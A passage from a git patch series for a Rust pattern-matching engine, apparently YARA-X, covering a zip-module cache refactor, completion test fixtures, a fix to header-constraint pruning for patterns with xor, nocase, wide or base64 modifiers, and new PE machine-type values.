zOWk?QV?48k`wj-P-UT&GO%G*_;!ddmkQcj~CA{u85=7DfWX;l!n^Rj1q)E4=oYQU% zO<{m%hUiUVo~UY@J*aa1p za;ft050%U9VdEdeRu=X368*3H>*7|_hB??Ow;^`wk!V zUKz9}tKH9zl|CA%`?4>f0TV21Bt`~(-&yHYCT_8ou9mn0@(U^>m4NIqq}}U1aIV0w zS(uI4okRG5MfM>H{Q$J@b|7A{kJuOgA98!Q WO}Gy2H+6vh_hrj&cIuFW( + ctx: &mut ModuleContext<'a>, + data: &'a [u8], ) -> Result { - let mut zip = Zip::new(); - - let archive = match Archive::open(data) { - Ok(arch) => arch, - Err(_) => { + match ctx.zip_cache.get_or_insert_with(|| ZipCache::new(data)) { + ZipCache::Cached(zip) => Ok(zip.deref().into()), + ZipCache::NotZip => { + let mut zip = Zip::new(); zip.set_is_zip(false); - return Ok(zip); - } - }; - - zip.set_is_zip(true); - - let mut entries = Vec::new(); - let max_entries = 100000; // Guardrail: prevent DoS with huge entry counts - - let mut path_buf = vec![0u8; 65536]; - - for entry in archive.entries().filter_map(|entry| entry.ok()) { - if entries.len() >= max_entries { - break; + Ok(zip) } - - let path_bytes = match entry.read_path(&mut path_buf) { - Ok(b) => b, - Err(_) => continue, - }; - - let file_path = String::from_utf8_lossy(path_bytes).to_string(); - - let mut proto_entry = Entry::new(); - - proto_entry.set_file_path(file_path); - proto_entry.set_uncompressed_size(entry.uncompressed_size()); - proto_entry.set_compressed_size(entry.compressed_size()); - - let compression = match entry.compression() { - Ok(tinyzip::Compression::Stored) => Compression::STORED, - Ok(tinyzip::Compression::Deflated) => Compression::DEFLATED, - Err(tinyzip::Error::UnsupportedCompression(raw)) => { - Compression::from_i32(raw as i32) - .unwrap_or(Compression::UNKNOWN) - } - Err(_) => Compression::UNKNOWN, - }; - - proto_entry.compression = Some(compression.into()); - - entries.push(proto_entry); } - - zip.entries = entries; - - Ok(zip) } register_module!("zip", Zip, main); diff --git a/ls/src/tests/testdata/completion10.response.json b/ls/src/tests/testdata/completion10.response.json index b10a8786..d84e614b 100644 --- a/ls/src/tests/testdata/completion10.response.json +++ b/ls/src/tests/testdata/completion10.response.json @@ -49,6 +49,11 @@ "label": "math", "preselect": true }, + { + "kind": 9, + "label": "olecf", + "preselect": true + }, { "kind": 9, "label": "pe", @@ -74,6 +79,11 @@ "label": "time", "preselect": true }, + { + "kind": 9, + "label": "vba", + "preselect": true + }, { "kind": 9, "label": "vt", diff --git a/ls/src/tests/testdata/completion11.response.json b/ls/src/tests/testdata/completion11.response.json index b10a8786..d84e614b 100644 --- a/ls/src/tests/testdata/completion11.response.json +++ b/ls/src/tests/testdata/completion11.response.json @@ -49,6 +49,11 @@ "label": "math", "preselect": true }, + { + "kind": 9, + "label": "olecf", + "preselect": true + }, { "kind": 9, "label": "pe", @@ -74,6 +79,11 @@ "label": "time", "preselect": true }, + { + "kind": 9, + "label": "vba", + "preselect": true + }, { "kind": 9, "label": "vt", diff --git a/ls/src/tests/testdata/completion14.response.json b/ls/src/tests/testdata/completion14.response.json index dc386473..51808a2b 100644 --- a/ls/src/tests/testdata/completion14.response.json +++ b/ls/src/tests/testdata/completion14.response.json @@ -296,6 +296,25 @@ "kind": 9, "label": "math" }, + { + "additionalTextEdits": [ + { + "newText": "import \"olecf\"\n", + "range": { + "end": { + "character": 0, + "line": 0 + }, + "start": { + "character": 0, + "line": 0 + } + } + } + ], + "kind": 9, + "label": "olecf" + }, { "kind": 9, "label": "pe" @@ -376,6 +395,25 @@ "kind": 9, "label": "time" }, + { + "additionalTextEdits": [ + { + "newText": "import \"vba\"\n", + "range": { + "end": { + "character": 0, + "line": 0 + }, + "start": { + "character": 0, + "line": 0 + } + } + } + ], + "kind": 9, + "label": "vba" + }, { "additionalTextEdits": [ { diff --git a/ls/src/tests/testdata/completion15.response.json b/ls/src/tests/testdata/completion15.response.json index 78664441..cb071fc3 100644 --- a/ls/src/tests/testdata/completion15.response.json +++ b/ls/src/tests/testdata/completion15.response.json @@ -275,6 +275,25 @@ "kind": 9, "label": "math" }, + { + "additionalTextEdits": [ + { + "newText": "import \"olecf\"\n", + "range": { + "end": { + "character": 0, + "line": 0 + }, + "start": { + "character": 0, + "line": 0 + } + } + } + ], + "kind": 9, + "label": "olecf" + }, { "kind": 9, "label": "pe" @@ -355,6 +374,25 @@ "kind": 9, "label": "time" }, + { + "additionalTextEdits": [ + { + "newText": "import \"vba\"\n", + "range": { + "end": { + "character": 0, + "line": 0 + }, + "start": { + "character": 0, + "line": 0 + } + } + } + ], + "kind": 9, + "label": "vba" + }, { "additionalTextEdits": [ { diff --git a/ls/src/tests/testdata/completion2.response.json b/ls/src/tests/testdata/completion2.response.json index 4503a49c..f035330d 100644 --- a/ls/src/tests/testdata/completion2.response.json +++ b/ls/src/tests/testdata/completion2.response.json @@ -282,6 +282,25 @@ "kind": 9, "label": "math" }, + { + "additionalTextEdits": [ + { + "newText": "import \"olecf\"\n", + "range": { + "end": { + "character": 0, + "line": 0 + }, + "start": { + "character": 0, + "line": 0 + } + } + } + ], + "kind": 9, + "label": "olecf" + }, { "additionalTextEdits": [ { @@ -377,6 +396,25 @@ "kind": 9, "label": "time" }, + { + "additionalTextEdits": [ + { + "newText": "import \"vba\"\n", + "range": { + "end": { + "character": 0, + "line": 0 + }, + "start": { + "character": 0, + "line": 0 + } + } + } + ], + "kind": 9, + "label": "vba" + }, { "additionalTextEdits": [ { diff --git a/test.yar b/test.yar deleted file mode 100644 index 64af510b..00000000 --- a/test.yar +++ /dev/null @@ -1,10 +0,0 @@ -rule t { - - strings: - $a = "foo" - $b = "foo" - condition: - all of them -} - - From dfaa4e17ceb433968be6953672e3f203a515a581 Mon Sep 17 00:00:00 2001 From: nugxperience Date: Tue, 23 Jun 2026 12:19:04 +0000 Subject: [PATCH 06/25] fix: don't derive header constraints from patterns with byte-transforming modifiers (#689) The header constraints optimization introduced in #676 prunes a pattern at scan time when the file header can't satisfy the bytes the pattern requires at offset 0 (e.g. `$a at 0`). The bytes were taken from the pattern's literal text, ignoring its modifiers. For patterns with the `xor`, `nocase`, `wide`, `base64` or `base64wide` modifiers, the bytes that actually appear in the scanned data differ from the literal text (they are XORed with a key, case-folded, interleaved with zeroes or base64-encoded). Deriving a header constraint from the literal text in those cases is incorrect: it requires the file to start with the plaintext bytes, so a legitimate match at offset 0 gets pruned and the rule fails to match. For example, this rule did not match a file starting with "Hello" XORed with key 0x01, even though the match is exactly at offset 0: ``` rule t { strings: $a = "Hello" xor condition: $a at 0 } ``` --------- Co-authored-by: Victor M. Alvarez --- lib/src/compiler/ir/mod.rs | 50 +++++++++++++--- lib/src/compiler/mod.rs | 8 +-- lib/src/tests/mod.rs | 120 +++++++++++++++++++++++++++++++++++++ 3 files changed, 164 insertions(+), 14 deletions(-) diff --git a/lib/src/compiler/ir/mod.rs b/lib/src/compiler/ir/mod.rs index a5dde92a..0d7d4ba8 100644 --- a/lib/src/compiler/ir/mod.rs +++ b/lib/src/compiler/ir/mod.rs @@ -40,7 +40,7 @@ use std::ops::{Add, Index}; use std::rc::Rc; use bitflags::bitflags; -use bstr::BString; +use bstr::{BString, ByteSlice}; use rustc_hash::FxHasher; use serde::{Deserialize, Serialize}; @@ -1007,9 +1007,22 @@ impl IR { result } - pub fn header_constraints( + /// Determines the constraints on the file header imposed by a rule condition. + /// + /// This function analyzes the rule's condition to determine whether it + /// restricts matching to files that start with a specific sequence of bytes. + /// + /// For example, the condition `uint32(0) == 0x464c457f and $a` requires that + /// the first 4 bytes of the file are `0x7f, 0x45, 0x4c, 0x46` (little-endian). + /// Similarly, `$a at 0` imposes a header constraint if `$a` has a known + /// constant prefix. + /// + /// In contrast, the condition `uint32(0) == 0x464c457f or $a` does not impose + /// a header constraint, since the use of `or` allows files with a different + /// header to also match. + pub fn header_constraints<'a>( &self, - pattern_prefix_lookup: impl Fn(PatternIdx) -> Option>, + pattern_lookup: impl Fn(PatternIdx) -> &'a Pattern, ) -> HeaderConstraint { let mut constrained_bytes = BTreeMap::new(); let mut unsatisfiable = false; @@ -1029,14 +1042,37 @@ impl IR { &mut unsatisfiable, ); } - Expr::PatternMatch { pattern, anchor } => { + Expr::PatternMatch { pattern: pattern_idx, anchor } => { + let pattern = pattern_lookup(*pattern_idx); + // A pattern that has any of these flags it's not eligible + // as a constraint. Modifiers like `xor`, `nocase`, `wide`, + // `base64` and `base64wide` make the bytes that actually + // appear in the data differ from the literal text (they + // are XORed, case-folded, interleaved with zeroes or + // base64-encoded), so no header constraint can be + // derived from them. + if pattern.flags().intersects( + PatternFlags::Xor + | PatternFlags::Nocase + | PatternFlags::Wide + | PatternFlags::Base64 + | PatternFlags::Base64Wide, + ) { + continue; + } if let MatchAnchor::At(offset_expr) = anchor && let Some(0) = self.get(*offset_expr).try_as_const_integer() - && let Some(prefix_bytes) = - pattern_prefix_lookup(*pattern) + && let Some(pattern_bytes) = match pattern { + Pattern::Text(literal) => { + Some(literal.text.as_bytes()) + } + Pattern::Regexp(re) | Pattern::Hex(re) => { + re.hir.as_literal_bytes() + } + } { - for (i, &b) in prefix_bytes.iter().enumerate() { + for (i, &b) in pattern_bytes.iter().enumerate() { match constrained_bytes.entry(i) { Entry::Occupied(entry) => { if *entry.get() != b { diff --git a/lib/src/compiler/mod.rs b/lib/src/compiler/mod.rs index 9ea8294d..f162707e 100644 --- a/lib/src/compiler/mod.rs +++ b/lib/src/compiler/mod.rs @@ -1689,13 +1689,7 @@ impl Compiler<'_> { // Analyze the condition and determine if it imposes some constraint // to the file header (ex: `uint16(0) == 0x5a4d`). let header_constraints = self.ir.header_constraints(|pat_idx| { - let pat = &rule_patterns[pat_idx.as_usize()]; - match pat.pattern() { - Pattern::Text(lit) => Some(lit.text.as_bytes().to_vec()), - Pattern::Regexp(re) | Pattern::Hex(re) => { - re.hir.as_literal_bytes().map(|bytes| bytes.to_vec()) - } - } + rule_patterns[pat_idx.as_usize()].pattern() }); // Set the bounds to all patterns in the rule. This must be done diff --git a/lib/src/tests/mod.rs b/lib/src/tests/mod.rs index 83657562..dbc5d4a1 100644 --- a/lib/src/tests/mod.rs +++ b/lib/src/tests/mod.rs @@ -4177,4 +4177,124 @@ fn header_constraints_optimization() { "#, b"\0MZ" ); + + // Patterns whose on-disk bytes differ from their literal text (because of + // the `xor`, `nocase`, `wide`, `base64` or `base64wide` modifiers) must not + // derive a header constraint from the literal text. Otherwise `$a at 0` + // would wrongly require the file to start with the plaintext bytes and the + // pattern would be pruned even though it matches at offset 0. + + // `xor`: "Hello" XORed with key 0x01 -> 49 64 6d 6d 6e. + rule_true!( + r#" + rule test { + strings: + $a = "Hello" xor + condition: + $a at 0 + } + "#, + b"\x49\x64\x6d\x6d\x6e" + ); + + // `nocase`: data has a different case than the literal. + rule_true!( + r#" + rule test { + strings: + $a = "HELLO" nocase + condition: + $a at 0 + } + "#, + b"hello" + ); + + // `wide`: the literal bytes are interleaved with zeroes. + rule_true!( + r#" + rule test { + strings: + $a = "Hello" wide + condition: + $a at 0 + } + "#, + b"H\0e\0l\0l\0o\0" + ); + + // `base64`: "Hello" base64-encoded. + rule_true!( + r#" + rule test { + strings: + $a = "Hello" base64 + condition: + $a at 0 + } + "#, + b"SGVsbG8=" + ); + + // `base64wide`: "Hello" base64-encoded and then made wide. + rule_true!( + r#" + rule test { + strings: + $a = "Hello" base64wide + condition: + $a at 0 + } + "#, + b"S\0G\0V\0s\0b\0G\08\0" + ); + + // A regexp that reduces to a literal, with the `wide` modifier. For regexps + // the `wide` transformation is applied when lowering to sub-patterns, so it + // is not visible in the HIR and `as_literal_bytes()` returns the non-wide + // bytes. The header constraint must still not be derived from them. + rule_true!( + r#" + rule test { + strings: + $a = /Hello/ wide + condition: + $a at 0 + } + "#, + b"H\0e\0l\0l\0o\0" + ); + + // The bytes that actually appear in the data are not constrained to the + // literal text, but matching itself must still work correctly: a pattern + // with a byte-transforming modifier anchored at 0 must not match when its + // encoded form is absent at offset 0. + rule_false!( + r#" + rule test { + strings: + $a = "Hello" xor + condition: + $a at 0 + } + "#, + b"\0\0\0\0\x49\x64\x6d\x6d\x6e" + ); + + // A modifier pattern anchored at 0 must not contaminate the header + // constraint derived from a plain literal in the same rule. Here the file + // starts with "MZ" (so `$plain at 0` holds) and contains "Hello" XORed with + // key 0x01 somewhere; `$x` must not be pruned by `$plain`'s constraint. + rule_true!( + r#" + rule test { + strings: + $plain = "MZ" + $x = "Hello" xor + condition: + $plain at 0 and $x + } + "#, + b"MZ\x49\x64\x6d\x6d\x6e" + ); } From 0b140693937cddad8239b2b99028a98d910e0507 Mon Sep 17 00:00:00 2001 From: cherepanov74 Date: Tue, 23 Jun 2026 14:20:48 +0200 Subject: [PATCH 07/25] feat(pe): add missing machine architecture types (#687) Add the machine types from the current Microsoft PE format spec that were missing from the `Machine` enum: ALPHA, ALPHA64/AXP64, ARM64EC, ARM64X, LOONGARCH32/64, R3000(BE), R10000, RISCV32/64/128. Enable allow_alias since AXP64 shares value 0x0284 with ALPHA64. Values taken from the Microsoft PE format documentation: https://learn.microsoft.com/en-us/windows/win32/debug/pe-format#machine-types * tests: fix test case. --------- Co-authored-by: Victor M. Alvarez --- lib/src/modules/protos/generated/pe.rs | 265 +++++++++++++----- lib/src/modules/protos/pe.proto | 17 +- .../tests/testdata/completion8.response.json | 121 +++++++- site/content/docs/modules/pe.md | 61 ++-- 4 files changed, 371 insertions(+), 93 deletions(-) diff --git a/lib/src/modules/protos/generated/pe.rs b/lib/src/modules/protos/generated/pe.rs index b634ee54..f58c5f13 100644 --- a/lib/src/modules/protos/generated/pe.rs +++ b/lib/src/modules/protos/generated/pe.rs @@ -7592,80 +7592,167 @@ impl ResourceType { } } -#[derive(Clone,Copy,PartialEq,Eq,Debug,Hash)] +// Note: you cannot use pattern matching for enums with allow_alias option +#[derive(Clone,Copy,Eq,Debug)] // @@protoc_insertion_point(enum:pe.Machine) pub enum Machine { // @@protoc_insertion_point(enum_value:pe.Machine.MACHINE_UNKNOWN) - MACHINE_UNKNOWN = 0, + MACHINE_UNKNOWN, // 0 + // @@protoc_insertion_point(enum_value:pe.Machine.MACHINE_ALPHA) + MACHINE_ALPHA, // 388 + // @@protoc_insertion_point(enum_value:pe.Machine.MACHINE_ALPHA64) + MACHINE_ALPHA64, // 644 // @@protoc_insertion_point(enum_value:pe.Machine.MACHINE_AM33) - MACHINE_AM33 = 467, + MACHINE_AM33, // 467 // @@protoc_insertion_point(enum_value:pe.Machine.MACHINE_AMD64) - MACHINE_AMD64 = 34404, + MACHINE_AMD64, // 34404 // @@protoc_insertion_point(enum_value:pe.Machine.MACHINE_ARM) - MACHINE_ARM = 448, - // @@protoc_insertion_point(enum_value:pe.Machine.MACHINE_ARMNT) - MACHINE_ARMNT = 452, + MACHINE_ARM, // 448 // @@protoc_insertion_point(enum_value:pe.Machine.MACHINE_ARM64) - MACHINE_ARM64 = 43620, + MACHINE_ARM64, // 43620 + // @@protoc_insertion_point(enum_value:pe.Machine.MACHINE_ARM64EC) + MACHINE_ARM64EC, // 42561 + // @@protoc_insertion_point(enum_value:pe.Machine.MACHINE_ARM64X) + MACHINE_ARM64X, // 42574 + // @@protoc_insertion_point(enum_value:pe.Machine.MACHINE_ARMNT) + MACHINE_ARMNT, // 452 + // @@protoc_insertion_point(enum_value:pe.Machine.MACHINE_AXP64) + MACHINE_AXP64, // 644 // @@protoc_insertion_point(enum_value:pe.Machine.MACHINE_EBC) - MACHINE_EBC = 3772, + MACHINE_EBC, // 3772 // @@protoc_insertion_point(enum_value:pe.Machine.MACHINE_I386) - MACHINE_I386 = 332, + MACHINE_I386, // 332 // @@protoc_insertion_point(enum_value:pe.Machine.MACHINE_IA64) - MACHINE_IA64 = 512, + MACHINE_IA64, // 512 + // @@protoc_insertion_point(enum_value:pe.Machine.MACHINE_LOONGARCH32) + MACHINE_LOONGARCH32, // 25138 + // @@protoc_insertion_point(enum_value:pe.Machine.MACHINE_LOONGARCH64) + MACHINE_LOONGARCH64, // 25188 // @@protoc_insertion_point(enum_value:pe.Machine.MACHINE_M32R) - MACHINE_M32R = 36929, + MACHINE_M32R, // 36929 // @@protoc_insertion_point(enum_value:pe.Machine.MACHINE_MIPS16) - MACHINE_MIPS16 = 614, + MACHINE_MIPS16, // 614 // @@protoc_insertion_point(enum_value:pe.Machine.MACHINE_MIPSFPU) - MACHINE_MIPSFPU = 870, + MACHINE_MIPSFPU, // 870 // @@protoc_insertion_point(enum_value:pe.Machine.MACHINE_MIPSFPU16) - MACHINE_MIPSFPU16 = 1126, + MACHINE_MIPSFPU16, // 1126 // @@protoc_insertion_point(enum_value:pe.Machine.MACHINE_POWERPC) - MACHINE_POWERPC = 496, + MACHINE_POWERPC, // 496 // @@protoc_insertion_point(enum_value:pe.Machine.MACHINE_POWERPCFP) - MACHINE_POWERPCFP = 497, + MACHINE_POWERPCFP, // 497 + // @@protoc_insertion_point(enum_value:pe.Machine.MACHINE_R3000BE) + MACHINE_R3000BE, // 352 + // @@protoc_insertion_point(enum_value:pe.Machine.MACHINE_R3000) + MACHINE_R3000, // 354 // @@protoc_insertion_point(enum_value:pe.Machine.MACHINE_R4000) - MACHINE_R4000 = 358, + MACHINE_R4000, // 358 + // @@protoc_insertion_point(enum_value:pe.Machine.MACHINE_R10000) + MACHINE_R10000, // 360 + // @@protoc_insertion_point(enum_value:pe.Machine.MACHINE_RISCV32) + MACHINE_RISCV32, // 20530 + // @@protoc_insertion_point(enum_value:pe.Machine.MACHINE_RISCV64) + MACHINE_RISCV64, // 20580 + // @@protoc_insertion_point(enum_value:pe.Machine.MACHINE_RISCV128) + MACHINE_RISCV128, // 20776 // @@protoc_insertion_point(enum_value:pe.Machine.MACHINE_SH3) - MACHINE_SH3 = 418, + MACHINE_SH3, // 418 // @@protoc_insertion_point(enum_value:pe.Machine.MACHINE_SH3DSP) - MACHINE_SH3DSP = 419, + MACHINE_SH3DSP, // 419 // @@protoc_insertion_point(enum_value:pe.Machine.MACHINE_SH4) - MACHINE_SH4 = 422, + MACHINE_SH4, // 422 // @@protoc_insertion_point(enum_value:pe.Machine.MACHINE_SH5) - MACHINE_SH5 = 424, + MACHINE_SH5, // 424 // @@protoc_insertion_point(enum_value:pe.Machine.MACHINE_THUMB) - MACHINE_THUMB = 450, + MACHINE_THUMB, // 450 // @@protoc_insertion_point(enum_value:pe.Machine.MACHINE_WCEMIPSV2) - MACHINE_WCEMIPSV2 = 361, + MACHINE_WCEMIPSV2, // 361 +} + +impl ::std::cmp::PartialEq for Machine { + fn eq(&self, other: &Self) -> bool { + ::protobuf::Enum::value(self) == ::protobuf::Enum::value(other) + } +} + +impl ::std::hash::Hash for Machine { + fn hash(&self, state: &mut H) { + state.write_i32(::protobuf::Enum::value(self)) + } } impl ::protobuf::Enum for Machine { const NAME: &'static str = "Machine"; fn value(&self) -> i32 { - *self as i32 + match *self { + Machine::MACHINE_UNKNOWN => 0, + Machine::MACHINE_ALPHA => 388, + Machine::MACHINE_ALPHA64 => 644, + Machine::MACHINE_AM33 => 467, + Machine::MACHINE_AMD64 => 34404, + Machine::MACHINE_ARM => 448, + Machine::MACHINE_ARM64 => 43620, + Machine::MACHINE_ARM64EC => 42561, + Machine::MACHINE_ARM64X => 42574, + Machine::MACHINE_ARMNT => 452, + Machine::MACHINE_AXP64 => 644, + Machine::MACHINE_EBC => 3772, + Machine::MACHINE_I386 => 332, + Machine::MACHINE_IA64 => 512, + Machine::MACHINE_LOONGARCH32 => 25138, + Machine::MACHINE_LOONGARCH64 => 25188, + Machine::MACHINE_M32R => 36929, + Machine::MACHINE_MIPS16 => 614, + Machine::MACHINE_MIPSFPU => 870, + Machine::MACHINE_MIPSFPU16 => 1126, + Machine::MACHINE_POWERPC => 496, + Machine::MACHINE_POWERPCFP => 497, + Machine::MACHINE_R3000BE => 352, + Machine::MACHINE_R3000 => 354, + Machine::MACHINE_R4000 => 358, + Machine::MACHINE_R10000 => 360, + Machine::MACHINE_RISCV32 => 20530, + Machine::MACHINE_RISCV64 => 20580, + Machine::MACHINE_RISCV128 => 20776, + Machine::MACHINE_SH3 => 418, + Machine::MACHINE_SH3DSP => 419, + Machine::MACHINE_SH4 => 422, + Machine::MACHINE_SH5 => 424, + Machine::MACHINE_THUMB => 450, + Machine::MACHINE_WCEMIPSV2 => 361, + } } fn from_i32(value: i32) -> ::std::option::Option { match value { 0 => ::std::option::Option::Some(Machine::MACHINE_UNKNOWN), + 388 => ::std::option::Option::Some(Machine::MACHINE_ALPHA), + 644 => ::std::option::Option::Some(Machine::MACHINE_ALPHA64), 467 => ::std::option::Option::Some(Machine::MACHINE_AM33), 34404 => ::std::option::Option::Some(Machine::MACHINE_AMD64), 448 => ::std::option::Option::Some(Machine::MACHINE_ARM), - 452 => ::std::option::Option::Some(Machine::MACHINE_ARMNT), 43620 => ::std::option::Option::Some(Machine::MACHINE_ARM64), + 42561 => ::std::option::Option::Some(Machine::MACHINE_ARM64EC), + 42574 => ::std::option::Option::Some(Machine::MACHINE_ARM64X), + 452 => ::std::option::Option::Some(Machine::MACHINE_ARMNT), 3772 => ::std::option::Option::Some(Machine::MACHINE_EBC), 332 => ::std::option::Option::Some(Machine::MACHINE_I386), 512 => ::std::option::Option::Some(Machine::MACHINE_IA64), + 25138 => ::std::option::Option::Some(Machine::MACHINE_LOONGARCH32), + 25188 => ::std::option::Option::Some(Machine::MACHINE_LOONGARCH64), 36929 => ::std::option::Option::Some(Machine::MACHINE_M32R), 614 => ::std::option::Option::Some(Machine::MACHINE_MIPS16), 870 => ::std::option::Option::Some(Machine::MACHINE_MIPSFPU), 1126 => ::std::option::Option::Some(Machine::MACHINE_MIPSFPU16), 496 => ::std::option::Option::Some(Machine::MACHINE_POWERPC), 497 => ::std::option::Option::Some(Machine::MACHINE_POWERPCFP), + 352 => ::std::option::Option::Some(Machine::MACHINE_R3000BE), + 354 => ::std::option::Option::Some(Machine::MACHINE_R3000), 358 => ::std::option::Option::Some(Machine::MACHINE_R4000), + 360 => ::std::option::Option::Some(Machine::MACHINE_R10000), + 20530 => ::std::option::Option::Some(Machine::MACHINE_RISCV32), + 20580 => ::std::option::Option::Some(Machine::MACHINE_RISCV64), + 20776 => ::std::option::Option::Some(Machine::MACHINE_RISCV128), 418 => ::std::option::Option::Some(Machine::MACHINE_SH3), 419 => ::std::option::Option::Some(Machine::MACHINE_SH3DSP), 422 => ::std::option::Option::Some(Machine::MACHINE_SH4), @@ -7679,21 +7766,33 @@ impl ::protobuf::Enum for Machine { fn from_str(str: &str) -> ::std::option::Option { match str { "MACHINE_UNKNOWN" => ::std::option::Option::Some(Machine::MACHINE_UNKNOWN), + "MACHINE_ALPHA" => ::std::option::Option::Some(Machine::MACHINE_ALPHA), + "MACHINE_ALPHA64" => ::std::option::Option::Some(Machine::MACHINE_ALPHA64), "MACHINE_AM33" => ::std::option::Option::Some(Machine::MACHINE_AM33), "MACHINE_AMD64" => ::std::option::Option::Some(Machine::MACHINE_AMD64), "MACHINE_ARM" => ::std::option::Option::Some(Machine::MACHINE_ARM), - "MACHINE_ARMNT" => ::std::option::Option::Some(Machine::MACHINE_ARMNT), "MACHINE_ARM64" => ::std::option::Option::Some(Machine::MACHINE_ARM64), + "MACHINE_ARM64EC" => ::std::option::Option::Some(Machine::MACHINE_ARM64EC), + "MACHINE_ARM64X" => ::std::option::Option::Some(Machine::MACHINE_ARM64X), + "MACHINE_ARMNT" => ::std::option::Option::Some(Machine::MACHINE_ARMNT), "MACHINE_EBC" => ::std::option::Option::Some(Machine::MACHINE_EBC), "MACHINE_I386" => ::std::option::Option::Some(Machine::MACHINE_I386), "MACHINE_IA64" => ::std::option::Option::Some(Machine::MACHINE_IA64), + "MACHINE_LOONGARCH32" => ::std::option::Option::Some(Machine::MACHINE_LOONGARCH32), + "MACHINE_LOONGARCH64" => ::std::option::Option::Some(Machine::MACHINE_LOONGARCH64), "MACHINE_M32R" => ::std::option::Option::Some(Machine::MACHINE_M32R), "MACHINE_MIPS16" => ::std::option::Option::Some(Machine::MACHINE_MIPS16), "MACHINE_MIPSFPU" => ::std::option::Option::Some(Machine::MACHINE_MIPSFPU), "MACHINE_MIPSFPU16" => ::std::option::Option::Some(Machine::MACHINE_MIPSFPU16), "MACHINE_POWERPC" => ::std::option::Option::Some(Machine::MACHINE_POWERPC), "MACHINE_POWERPCFP" => ::std::option::Option::Some(Machine::MACHINE_POWERPCFP), + "MACHINE_R3000BE" => ::std::option::Option::Some(Machine::MACHINE_R3000BE), + "MACHINE_R3000" => ::std::option::Option::Some(Machine::MACHINE_R3000), "MACHINE_R4000" => ::std::option::Option::Some(Machine::MACHINE_R4000), + "MACHINE_R10000" => ::std::option::Option::Some(Machine::MACHINE_R10000), + "MACHINE_RISCV32" => ::std::option::Option::Some(Machine::MACHINE_RISCV32), + "MACHINE_RISCV64" => ::std::option::Option::Some(Machine::MACHINE_RISCV64), + "MACHINE_RISCV128" => ::std::option::Option::Some(Machine::MACHINE_RISCV128), "MACHINE_SH3" => ::std::option::Option::Some(Machine::MACHINE_SH3), "MACHINE_SH3DSP" => ::std::option::Option::Some(Machine::MACHINE_SH3DSP), "MACHINE_SH4" => ::std::option::Option::Some(Machine::MACHINE_SH4), @@ -7706,21 +7805,34 @@ impl ::protobuf::Enum for Machine { const VALUES: &'static [Machine] = &[ Machine::MACHINE_UNKNOWN, + Machine::MACHINE_ALPHA, + Machine::MACHINE_ALPHA64, Machine::MACHINE_AM33, Machine::MACHINE_AMD64, Machine::MACHINE_ARM, - Machine::MACHINE_ARMNT, Machine::MACHINE_ARM64, + Machine::MACHINE_ARM64EC, + Machine::MACHINE_ARM64X, + Machine::MACHINE_ARMNT, + Machine::MACHINE_AXP64, Machine::MACHINE_EBC, Machine::MACHINE_I386, Machine::MACHINE_IA64, + Machine::MACHINE_LOONGARCH32, + Machine::MACHINE_LOONGARCH64, Machine::MACHINE_M32R, Machine::MACHINE_MIPS16, Machine::MACHINE_MIPSFPU, Machine::MACHINE_MIPSFPU16, Machine::MACHINE_POWERPC, Machine::MACHINE_POWERPCFP, + Machine::MACHINE_R3000BE, + Machine::MACHINE_R3000, Machine::MACHINE_R4000, + Machine::MACHINE_R10000, + Machine::MACHINE_RISCV32, + Machine::MACHINE_RISCV64, + Machine::MACHINE_RISCV128, Machine::MACHINE_SH3, Machine::MACHINE_SH3DSP, Machine::MACHINE_SH4, @@ -7739,27 +7851,40 @@ impl ::protobuf::EnumFull for Machine { fn descriptor(&self) -> ::protobuf::reflect::EnumValueDescriptor { let index = match self { Machine::MACHINE_UNKNOWN => 0, - Machine::MACHINE_AM33 => 1, - Machine::MACHINE_AMD64 => 2, - Machine::MACHINE_ARM => 3, - Machine::MACHINE_ARMNT => 4, - Machine::MACHINE_ARM64 => 5, - Machine::MACHINE_EBC => 6, - Machine::MACHINE_I386 => 7, - Machine::MACHINE_IA64 => 8, - Machine::MACHINE_M32R => 9, - Machine::MACHINE_MIPS16 => 10, - Machine::MACHINE_MIPSFPU => 11, - Machine::MACHINE_MIPSFPU16 => 12, - Machine::MACHINE_POWERPC => 13, - Machine::MACHINE_POWERPCFP => 14, - Machine::MACHINE_R4000 => 15, - Machine::MACHINE_SH3 => 16, - Machine::MACHINE_SH3DSP => 17, - Machine::MACHINE_SH4 => 18, - Machine::MACHINE_SH5 => 19, - Machine::MACHINE_THUMB => 20, - Machine::MACHINE_WCEMIPSV2 => 21, + Machine::MACHINE_ALPHA => 1, + Machine::MACHINE_ALPHA64 => 2, + Machine::MACHINE_AM33 => 3, + Machine::MACHINE_AMD64 => 4, + Machine::MACHINE_ARM => 5, + Machine::MACHINE_ARM64 => 6, + Machine::MACHINE_ARM64EC => 7, + Machine::MACHINE_ARM64X => 8, + Machine::MACHINE_ARMNT => 9, + Machine::MACHINE_AXP64 => 10, + Machine::MACHINE_EBC => 11, + Machine::MACHINE_I386 => 12, + Machine::MACHINE_IA64 => 13, + Machine::MACHINE_LOONGARCH32 => 14, + Machine::MACHINE_LOONGARCH64 => 15, + Machine::MACHINE_M32R => 16, + Machine::MACHINE_MIPS16 => 17, + Machine::MACHINE_MIPSFPU => 18, + Machine::MACHINE_MIPSFPU16 => 19, + Machine::MACHINE_POWERPC => 20, + Machine::MACHINE_POWERPCFP => 21, + Machine::MACHINE_R3000BE => 22, + Machine::MACHINE_R3000 => 23, + Machine::MACHINE_R4000 => 24, + Machine::MACHINE_R10000 => 25, + Machine::MACHINE_RISCV32 => 26, + Machine::MACHINE_RISCV64 => 27, + Machine::MACHINE_RISCV128 => 28, + Machine::MACHINE_SH3 => 29, + Machine::MACHINE_SH3DSP => 30, + Machine::MACHINE_SH4 => 31, + Machine::MACHINE_SH5 => 32, + Machine::MACHINE_THUMB => 33, + Machine::MACHINE_WCEMIPSV2 => 34, }; Self::enum_descriptor().value_by_index(index) } @@ -8883,23 +9008,31 @@ static file_descriptor_proto_data: &'static [u8] = b"\ \n\x16RESOURCE_TYPE_PLUGPLAY\x10\x13\x12\x15\n\x11RESOURCE_TYPE_VXD\x10\ \x14\x12\x1b\n\x17RESOURCE_TYPE_ANICURSOR\x10\x15\x12\x19\n\x15RESOURCE_\ TYPE_ANIICON\x10\x16\x12\x16\n\x12RESOURCE_TYPE_HTML\x10\x17\x12\x1a\n\ - \x16RESOURCE_TYPE_MANIFEST\x10\x18\x1a\x06\x92\x93\x19\x02\x10\x01*\xd1\ - \x03\n\x07Machine\x12\x13\n\x0fMACHINE_UNKNOWN\x10\0\x12\x11\n\x0cMACHIN\ - E_AM33\x10\xd3\x03\x12\x13\n\rMACHINE_AMD64\x10\xe4\x8c\x02\x12\x10\n\ - 